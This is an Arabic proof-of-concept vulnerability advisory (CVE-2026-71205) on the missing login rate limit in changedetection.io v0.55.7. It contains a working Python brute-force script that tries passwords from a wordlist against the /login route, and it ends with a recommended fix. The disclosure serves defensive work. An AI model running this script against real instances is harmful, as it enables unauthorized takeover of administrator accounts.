
PoC: هجوم قوة غاشمة غير محدود على تسجيل الدخول في changedetection.io، دون أي تحديد لمعدل المحاولات (CVE-2026-71205، متوسط 6.5)
المنتج: dgtlmoon/changedetection.io — v0.55.7
الملف: changedetectionio/flask_app.py
CWE: CWE-307 — التقييد غير السليم لمحاولات المصادقة المفرطة
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — 6.5 (متوسط)
CNA: Turan Security · سجل CVE
يقوم مسار /login في changedetection.io بالتحقق من كلمة المرور المُرسلة مقابل تجزئة PBKDF2-HMAC-SHA256 واحدة دون أي تحديد لمعدل الطلبات لكل عنوان IP أو لكل جلسة، أو عدّاد للمحاولات الفاشلة، أو قفل للحساب. لا توجد أي مكتبة لتحديد معدل الطلبات في requirements.txt.
يمكن للمهاجم محاولة تخمين كلمات مرور غير محدودة ضد تسجيل دخول المسؤول الوحيد دون أي تقييد، مما يتيح هجمات القوة الغاشمة عبر الإنترنت أو هجمات حشو بيانات الاعتماد ضد الحساب الوحيد للمثيل دون أي تكلفة تتجاوز جولات الاتصال بالشبكة.
import requests
import itertools
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
wordlist = sys.argv[2] if len(sys.argv) > 2 else "passwords.txt"
session = requests.Session()
with open(wordlist) as f:
for line_no, password in enumerate(f, 1):
password = password.strip()
resp = session.post(
f"{target}/login",
data={"password": password},
allow_redirects=False,
timeout=10,
)
# No lockout, no rate-limit headers, no CAPTCHA at any attempt count.
status = "SUCCESS" if resp.status_code in (302, 303) else "fail"
print(f"[{line_no}] {password!r}: {status} (HTTP {resp.status_code})")
if status == "SUCCESS":
print(f"[+] Valid password found: {password}")
break
شغّله ضد أي مثيل مع أي قائمة كلمات مرور — لا يؤدي أي عدد من المحاولات إلى تفعيل قفل، أو CAPTCHA، أو تأخير متزايد في أي نقطة من التشغيل.
يقوم معالج تسجيل الدخول بمقارنة تجزئة مباشرة دون أي حالة لتتبّع المحاولات (لكل عنوان IP أو لكل جلسة أو بشكل عام) ودون تثبيت أي برمجية وسيطة أو مكتبة لتحديد معدل الطلبات.
أضف مكتبة لتحديد معدل الطلبات (مثل Flask-Limiter) إلى /login، مع عدّاد للمحاولات الفاشلة وتراجع أسي أو قفل مؤقت لكل عنوان IP/جلسة مصدر.